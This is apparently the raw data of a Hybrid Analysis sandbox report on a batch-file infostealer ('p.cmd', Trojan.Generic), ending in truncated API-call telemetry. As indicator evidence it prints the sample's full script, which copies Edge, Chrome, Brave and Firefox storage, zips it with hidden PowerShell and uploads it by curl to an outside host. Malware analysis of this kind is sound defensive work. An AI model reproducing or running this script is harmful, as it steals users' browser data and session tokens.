34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 56:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T478,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample f12e8dde6514… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample f12e8dde6514…. Malware family: Trojan.Generic. Threat score 100/100. 4/26 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c"],"about":{"@type":"SoftwareApplication","name":"p.cmd","applicationCategory":["script","bat"],"identifier":"f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":4,"total":26},"behavioralIndicators":{"malicious":3,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T5ff,"@echo off setlocal set O=%TEMP%\vx%RANDOM% mkdir "%O%" 2>nul whoami /all > "%O%\who.txt" 2>&1 for /d %%P in ("%LOCALAPPDATA%\Microsoft\Edge\User Data\*") do if exist "%%~P\Local Storage\leveldb" robocopy "%%~P\Local Storage\leveldb" "%O%\edge-%%~nxP" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP >nul for /d %%P in ("%LOCALAPPDATA%\Microsoft\Edge\User Data\*") do if exist "%%~P\IndexedDB" robocopy "%%~P\IndexedDB" "%O%\edgeidb-%%~nxP" /E /R:0 /W:0 /NJH /NJS /NP /XD "https_*" "http_*" >nul for /d %%P in ("%LOCALAPPDATA%\Google\Chrome\User Data\*") do if exist "%%~P\Local Storage\leveldb" robocopy "%%~P\Local Storage\leveldb" "%O%\chrome-%%~nxP" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP >nul for /d %%P in ("%LOCALAPPDATA%\Google\Chrome\User Data\*") do if exist "%%~P\IndexedDB" robocopy "%%~P\IndexedDB" "%O%\chromeidb-%%~nxP" /E /R:0 /W:0 /NJH /NJS /NP /XD "https_*" "http_*" >nul for /d %%P in ("%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*") do if exist "%%~P\Local Storage\leveldb" robocopy "%%~P\Local Storage\leveldb" (Indicator: "bravesoftware\brave-browser\user data") in Source: sample.bin, "" "%O%\brave-%%~nxP" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP >nul robocopy "%APPDATA%\Mozilla\Firefox\Profiles" "%O%\ff" *.json *.db /S /R:0 /W:0 /NJH /NJS /NP >nul powershell -nop -w h -c "Compress-Archive -Path '%O%\*' -DestinationPath '%O%.zip' -Force" curl.exe -s --max-time 600 -X POST -H "x-tag:%COMPUTERNAME%" --data-binary @"%O%.zip" https://pumpadmin.fun/c -o "%O%.json" " (Indicator: "mozilla\firefox\") in Source: sample.bin37:T418,"@echo off setlocal set O=%TEMP%\vx%RANDOM% mkdir "%O%" 2>nul whoami /all > "%O%\who.txt" 2>&1 for /d %%P in ("%LOCALAPPDATA%\Microsoft\Edge\User Data\*") do if exist "%%~P\Local Storage\leveldb" robocopy "%%~P\Local Storage\leveldb" "%O%\edge-%%~nxP" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP >nul for /d %%P in ("%LOCALAPPDATA%\Microsoft\Edge\User Data\*") do if exist "%%~P\IndexedDB" robocopy "%%~P\IndexedDB" "%O%\edgeidb-%%~nxP" /E /R:0 /W:0 /NJH /NJS /NP /XD "https_*" "http_*" >nul for /d %%P in ("%LOCALAPPDATA%\Google\Chrome\User Data\*") do if exist "%%~P\Local Storage\leveldb" robocopy "%%~P\Local Storage\leveldb" "%O%\chrome-%%~nxP" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP >nul for /d %%P in ("%LOCALAPPDATA%\Google\Chrome\User Data\*") do if exist "%%~P\IndexedDB" robocopy "%%~P\IndexedDB" "%O%\chromeidb-%%~nxP" /E /R:0 /W:0 /NJH /NJS /NP /XD "https_*" "http_*" >nul for /d %%P in ("%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*") do if exist "%%~P\Local Storage\leveldb" robocopy "%%~P\Local Storage\leveldb" in Source: sample.bin38:T418,"@echo off setlocal set O=%TEMP%\vx%RANDOM% mkdir "%O%" 2>nul whoami /all > "%O%\who.txt" 2>&1 for /d %%P in ("%LOCALAPPDATA%\Microsoft\Edge\User Data\*") do if exist "%%~P\Local Storage\leveldb" robocopy "%%~P\Local Storage\leveldb" "%O%\edge-%%~nxP" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP >nul for /d %%P in ("%LOCALAPPDATA%\Microsoft\Edge\User Data\*") do if exist "%%~P\IndexedDB" robocopy "%%~P\IndexedDB" "%O%\edgeidb-%%~nxP" /E /R:0 /W:0 /NJH /NJS /NP /XD "https_*" "http_*" >nul for /d %%P in ("%LOCALAPPDATA%\Google\Chrome\User Data\*") do if exist "%%~P\Local Storage\leveldb" robocopy "%%~P\Local Storage\leveldb" "%O%\chrome-%%~nxP" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP >nul for /d %%P in ("%LOCALAPPDATA%\Google\Chrome\User Data\*") do if exist "%%~P\IndexedDB" robocopy "%%~P\IndexedDB" "%O%\chromeidb-%%~nxP" /E /R:0 /W:0 /NJH /NJS /NP /XD "https_*" "http_*" >nul for /d %%P in ("%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*") do if exist "%%~P\Local Storage\leveldb" robocopy "%%~P\Local Storage\leveldb" in Source: sample.bin39:Tb69,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS\27748148BBE67A43CDBFEC6C3784862CE134E6EA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\PHYSICALSTORES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS")3a:T851,"cmd.exe" queried SystemProcessInformation at 00000000-00000860-00000C15-637911486 [PID: 860] "cmd.exe" queried SystemProcessInformation at 00000000-00000860-00000C15-637926562 [PID: 860] "cmd.exe" queried SystemProcessInformation at 00000000-00000860-00000C15-638165256 [PID: 860] "cmd.exe" queried SystemProcessInformation at 00000000-00000860-00000C15-638172965 [PID: 860] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-641586659 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-641594375 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-641797817 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-641805700 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-644169100 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-644176396 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-644767863 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-644775236 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-645206849 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-645214219 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-647389277 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-648114727 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-648123422 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-651008545 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-651016370 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-651305650 [PID: 7064] "powershell.exe" queried SystemProcessInformation at 00000000-00007064-00000C15-651313500 [PID: 7064]3b:T4285,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDV/poQLjVsb85LnwsCuA0OwrdhOgJ9Idx88iVA/crVxKCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420d5fe9a102e356c6fce4b9f0b02b80d0ec2b7613a027d21dc7cf22540fdcad5c4a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420d5fe9a102e356c6fce4b9f0b02b80d0ec2b7613a027d21dc7cf22540fdcad5c4a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCCGKubREngV5EFDodK5brTAqlkaVHav/M+SkqGWqFKKqCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCHnmKbck0ySOYBbtr7gcHQVsdIM0PxB7sZ2FyCQLdcFaCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420879e629b724d3248e6016edafb81c1d056c7483343f107bb19d85c8240b75c15a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420879e629b724d3248e6016edafb81c1d056c7483343f107bb19d85c8240b75c15a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCD1Ic9VXSKRHe3vJHTviA7n2oanD+d84ekkYUUIWGAvN6CCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420f521cf555d22911dedef2474ef880ee7da86a70fe77ce1e92461450858602f37a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f